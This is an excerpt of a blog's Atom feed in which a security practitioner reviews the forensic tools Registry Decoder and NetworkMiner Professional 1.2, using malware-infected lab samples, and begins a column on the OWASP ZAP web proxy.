test Registry Decoder with. Services andregistry keys created include &lt;span style="font-family: 'Courier New';"&gt;WmdmPmSp&lt;/span&gt;.As the search functionality is a strong suit, I selected CORE from the currentsnapshot acquired and searched &lt;span style="font-family: 'Courier New';"&gt;WmdmPmSp&lt;/span&gt;. Right-click search results andselect &lt;span style="font-family: 'Courier New';"&gt;Switch to File View&lt;/span&gt; thennavigate to the &lt;span style="font-family: 'Courier New';"&gt;Browser&lt;/span&gt; tab forkey values, etc. as seen in Figure 2.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-iXU_PRN1mb0/TtnRXsUy8SI/AAAAAAAAAkQ/oSqov2aTldk/s1600/search.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="105" src="http://1.bp.blogspot.com/-iXU_PRN1mb0/TtnRXsUy8SI/AAAAAAAAAkQ/oSqov2aTldk/s400/search.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 2:&lt;/b&gt;&amp;nbsp;Registry Decoder search results&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;I made use of the timelinefunctionality and was amply rewarded. Imagine a scenario where have a ballparktime window for a malware compromise or unauthorized access. You can filter thetimeline window accordingly and produce output that is compliant to theSleuthKit’s mactime format. It’s not human readable currently (next release) soread it in with Autopsy or TSK. Timeline gathering and results are combined inFigure 3. It clearly identified exactly when Lurid wrote to &lt;span style="font-family: 'Courier New';"&gt;HKLM\&lt;/span&gt;&lt;span style="font-family: 'Cambria Math', serif;"&gt;​&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;SYSTEM\&lt;/span&gt;&lt;span style="font-family: 'Cambria Math', serif;"&gt;​&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;CONTROLSET001\&lt;/span&gt;&lt;span style="font-family: 'Cambria Math', serif;"&gt;​&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;SERVICES\&lt;/span&gt;&lt;span style="font-family: 'Cambria Math', serif;"&gt;​&lt;/span&gt;&lt;span style="font-family: 'Courier New';"&gt;WmdmPmSp&lt;/span&gt;.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6Phzpj1Grq4/TtnRYbcCtYI/AAAAAAAAAkY/WlKEepMQsuo/s1600/timeline.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="135" src="http://4.bp.blogspot.com/-6Phzpj1Grq4/TtnRYbcCtYI/AAAAAAAAAkY/WlKEepMQsuo/s400/timeline.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 3:&lt;/b&gt; Registry Decoder timeline results&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;I also tested USBSTOR (unrelated to Lurid) on both acquisitions(Windows 7 and Windows XP) and the results were accurate and immediate in bothcases as seen Figure 4.&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-_S3LdL_s6KU/TtnRZBaH-3I/AAAAAAAAAko/I0o8WLmE3Qs/s1600/USBSTOR.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="131" src="http://3.bp.blogspot.com/-_S3LdL_s6KU/TtnRZBaH-3I/AAAAAAAAAko/I0o8WLmE3Qs/s400/USBSTOR.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;b&gt;Figure 4:&lt;/b&gt; Registry Decoder USBSTOR results&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="MsoNoSpacing"&gt;Explore the Plugins optionsincluded with Registry Decoder, the possibilities are endless. SYSTEM willprovide you a nice summary overview as you begin, IE Typed URLs is great forinappropriate browser use, Services with Perform Diff enabled is excellent formalware hunting, System Runs will give you instant gratification regardingwhat’s configured to run on startup, ACMRU queries the registry keys that havebeen typed into the Windows Search dialog box, and on and on and on. &lt;span style="font-family: Wingdings;"&gt;J&lt;/span&gt;Brilliant!&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;In Conclusion&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;I’m extremely excited about this tool and imagining itsuse at scale to be of incredible use for enterprise incident responders andforensic examiners. I’ve been chatting with Andrew at length while writing thisand he continuously mentions pending features including some visualizationoptions and the aforementioned Volatility interaction. I can’t wait; check outRegistry Decoder out for yourself ASAP.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Merry Christmas!&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Ping me via email if you have questions (russ atholisticinfosec dot org).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Cheers…until next month. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;Acknowledgements&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Andrew Case, Registry Decoderdeveloper and project lead&lt;/div&gt;&lt;div&gt;&lt;div id="edn7"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6656384120362968028?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6656384120362968028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6656384120362968028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6656384120362968028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6656384120362968028'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/12/toolsmith-registry-decoder.html' title='toolsmith: Registry Decoder'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-W1PwGxZpJQc/TtnRY-iO08I/AAAAAAAAAkg/W9qAYwQQHAA/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2437969099356009228</id><published>2011-11-26T13:01:00.001-08:00</published><updated>2011-11-27T00:09:17.833-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NFAT'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='pcap'/><category scheme='http://www.blogger.com/atom/ns#' term='NetworkMiner'/><title type='text'>Tool review: NetworkMiner Professional 1.2</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I've been slow in undertaking this review as NetworkMiner's Erik Hjelmvik sent me NetworkMiner Professional 1.1 when it was released and 1.2 is now&amp;nbsp;available.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Seeing Richard Bejtlich's discussion of Pro 1.2 has served to get me off the schnide and is helpful as I will point you to his &lt;a href="http://taosecurity.blogspot.com/2011/11/trying-networkminer-professional-12.html" target="_blank"&gt;post&lt;/a&gt; as an ideal primer while I go into to a bit deeper detail as to some of NetworkMiner's power as well as what distinguishes Professional from the free&amp;nbsp;edition.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I covered NetworkMiner in &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; in &lt;a href="http://holisticinfosec.org/toolsmith/docs/august2008.pdf" target="_blank"&gt;August 2008&lt;/a&gt; back when it was version 0.84. Erik has accomplished all of his goals for improvement as identified in the article including reporting, faster&amp;nbsp;parsing of large PCAP files (.735 MB/s at the command-line), &amp;nbsp;more protocols implemented, and&amp;nbsp;&lt;a href="http://taosecurity.blogspot.com/2006/09/port-independent-protocol.html" target="_blank"&gt;PIPI&lt;/a&gt; (Port Independent Protocol Identification).&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;NetworkMiner Professional 1.2 incorporates all of the above.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;To exemplify NetworkMiner Professional's PIPI capabilities, I changed my lab web server port to 6667, then set &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;NetworkMiner to grab a live capture while browsing to the reconfigured server.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Note:&lt;/b&gt; you need to &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Run as Administrator&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; to grab the interface on Windows 7.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Sure, it's more likely that someone would be more likely to hide evil traffic over port 80 but you get the point. As Richard said, "PIPI has many security implications for discovery and (preferably) denial of covert channels, back doors, and other policy-violating channels."&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Note as seen in &lt;b&gt;Figure 1&lt;/b&gt; that&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;NetworkMiner Professional clearly differentiates HTTP traffic regardless of the fact that it traversed port 6667.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-86RKhdOiBBA/TtHNy1UGMNI/AAAAAAAAAjQ/Yr3NS7w-_r8/s1600/NetworkMinerPIPI.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="251" src="http://3.bp.blogspot.com/-86RKhdOiBBA/TtHNy1UGMNI/AAAAAAAAAjQ/Yr3NS7w-_r8/s400/NetworkMinerPIPI.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;b&gt;Figure 1&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I was a bit surprised to note that the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Hosts&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; view as seen in &lt;b&gt;Figure 1&lt;/b&gt; did not identify that any data was pushed as cleartext although it unequivocally identified the admin/password combination I sent in both the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Cleartext&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; view and the &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Credentials&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; view.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I used an 18.8MB PCAP from the Xplico &lt;/span&gt;&lt;a href="http://wiki.xplico.org/doku.php?id=pcap:pcap" style="font-family: Arial, Helvetica, sans-serif;" target="_blank"&gt;sample set&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; as it includes a plethora of protocols and&amp;nbsp;carve-able&amp;nbsp;content with which to test NetworkMiner Professional.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Exporting results to CSV for reporting is as easy as &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;File&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; --&amp;gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Export to CSV&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; and selecting output of your choosing. As seen in &lt;b&gt;Figure 2&lt;/b&gt; I opted for &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Messages&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt; as&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;NetworkMiner Professional cleanly carved out an MSN to Yahoo email session (HTTPS, anyone?).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-a6EsxvoPLDw/TtHQ1TlMfBI/AAAAAAAAAjY/2iu7KXyckPM/s1600/NetworkMinerReporting.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="246" src="http://3.bp.blogspot.com/-a6EsxvoPLDw/TtHQ1TlMfBI/AAAAAAAAAjY/2iu7KXyckPM/s400/NetworkMinerReporting.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;b&gt;Figure 2&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Geo IP localization is a real standout too. You'll see it in play as you explore host details in Hosts view as seen in &lt;b&gt;Figure 3&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-BgpHGg9uzYk/TtHTWhkbFBI/AAAAAAAAAjg/7E8VUE7rTKE/s1600/NetworkMinerGeoIP.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="235" src="http://1.bp.blogspot.com/-BgpHGg9uzYk/TtHTWhkbFBI/AAAAAAAAAjg/7E8VUE7rTKE/s400/NetworkMinerGeoIP.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;b&gt;Figure 3&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;You may find host coloring useful too should you wish to tag hosts for easy identification later as seen in Figure 4.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-2pmScf8w4mA/TtHUlnvmg3I/AAAAAAAAAjo/8mCrP_PKQwo/s1600/NetworkMinerColor.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/-2pmScf8w4mA/TtHUlnvmg3I/AAAAAAAAAjo/8mCrP_PKQwo/s400/NetworkMinerColor.png" width="380" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;b&gt;Figure 4&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Finally, I am most excited about&amp;nbsp;NetworkMinerCLI for command-line scripting support.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I ran a PCAP taken from a VM infected with Trojan-Downloader.Win32.Banload.MC through&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;NetworkMinerCLI and was amply rewarded for my efforts...right after I excluded the output directory from AV detection.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Figure 5&lt;/b&gt; shows the command executed at the prompt coupled with the resulting assembled files and CSVs populated to the output directory as seen via Windows Explorer.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-NqwH0zCbhqc/TtHsRdLS7zI/AAAAAAAAAjw/d7Nd_uZT7WA/s1600/NetworkMinerCLI.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="117" src="http://3.bp.blogspot.com/-NqwH0zCbhqc/TtHsRdLS7zI/AAAAAAAAAjw/d7Nd_uZT7WA/s400/NetworkMinerCLI.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: left;"&gt;&lt;b&gt;Figure 5&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;The assembled files included all the malicious binaries disguised as JPGs as downloaded from the evil server. File carving network forensic analysis juju with easy CLI scripting. Bonus!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;In closing, NetworkMiner Professional 1.2 is a mature, highly useful tool and well worthy of consideration for purchase by investigators and analysts tasked with NFAT activity.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;I'm glad to provide further feedback via email and recommend you reach out to Erik as well via&amp;nbsp;info [at] netresec.com if you have questions.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-2437969099356009228?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/2437969099356009228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=2437969099356009228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2437969099356009228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/2437969099356009228'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/11/tool-review-networkminer-professional.html' title='Tool review: NetworkMiner Professional 1.2'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-86RKhdOiBBA/TtHNy1UGMNI/AAAAAAAAAjQ/Yr3NS7w-_r8/s72-c/NetworkMinerPIPI.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-2591747039708012610</id><published>2011-11-02T21:52:00.000-07:00</published><updated>2011-11-02T22:02:55.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Top 10'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><title type='text'>toolsmith: OWASP ZAP - Zed Attack Proxy</title><content type='html'>&lt;br /&gt;&lt;div class="MsoNoSpacing"&gt;&lt;a href="http://1.bp.blogspot.com/-uf20gfOZeEA/TrIcCi9RQdI/AAAAAAAAAh4/C3ZCXAj-tGc/s1600/title.png" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-uf20gfOZeEA/TrIcCi9RQdI/AAAAAAAAAh4/C3ZCXAj-tGc/s1600/title.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Prerequisites&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Java Runtime Environment&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP runs on Linux, Mac OS X, and Windows&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;b&gt;HappyThanksgiving:&lt;/b&gt; &lt;i&gt;"As we express ourgratitude, we must never forget that the highest appreciation is not to utterwords, but to live by them."&lt;/i&gt; -JFK &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;Introduction&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;November 2011’s toolsmith is the 61&lt;sup&gt;st&lt;/sup&gt; in theseries for the ISSA Journal, thus marking five years of extensive toolsanalysis for information security practitioners. Thank you for coming along forthe ride.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Fresh on the heels of a successful presentation on OWASPTop 10 Tools and Tactics at an even more successful ISSA International inBaltimore I was motivated to give full coverage this month to the OWASP ZedAttack Proxy, better known as ZAP. I had presented ZAP as a tool of choice whenassessing OWASP Top Ten A1 – Injection but, as so many of the tools discussed,ZAP delivers plenty of additional functionality worthy of in-depth discussion.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;OWASP ZAP is a fork of the once favored Paros Proxy,which has not been updated since August 2006. As such, it should be noted withno small irony that we covered Paros in December 2006; this is an excellentopportunity to show you how far ZAP has come from the original project.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;ZAP is the result of Simon Bennetts’ (Psiinon) hard work,though he’s got help from co-lead Axel Neumann (@a_c_neumann) and many&lt;a href="http://code.google.com/p/zaproxy/people/list" target="_blank"&gt;contributors&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;As an official OWASP project, &lt;a href="http://code.google.com/p/zaproxy/" target="_blank"&gt;ZAP&lt;/a&gt; enjoys extensive useand development support as an “easy to use integrated penetration testing toolfor finding vulnerabilities in web applications.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Simon offered a veritable plethora of feedback for thisarticle, as provided throughout the rest of the introduction. He indicated thathe originally released ZAP specifically for developers and functional testers;a group which he believes is poorly represented in the security tools market.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Ease of use was a prime concern, as was documentation andto his surprise it turned out that it was the security folk who took up ZAP thequickest, providing great feedback, reporting issues and asking for lots ofenhancements. Simon still wants ZAP to be ideal for people new to web applicationsecurity but it’s also going to be enhanced with more and more advancedfeatures aimed at profession penetration testers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class="MsoNoSpacing"&gt;Simon also wanted ZAP to be a community project; thereare many open source security tools that are tightly controlled by oneindividual or company. While he doesn’t have a problem with that fact he does believethat the real strength of open source comes when anyone can contribute to aproject and take it in directions its initial developers never 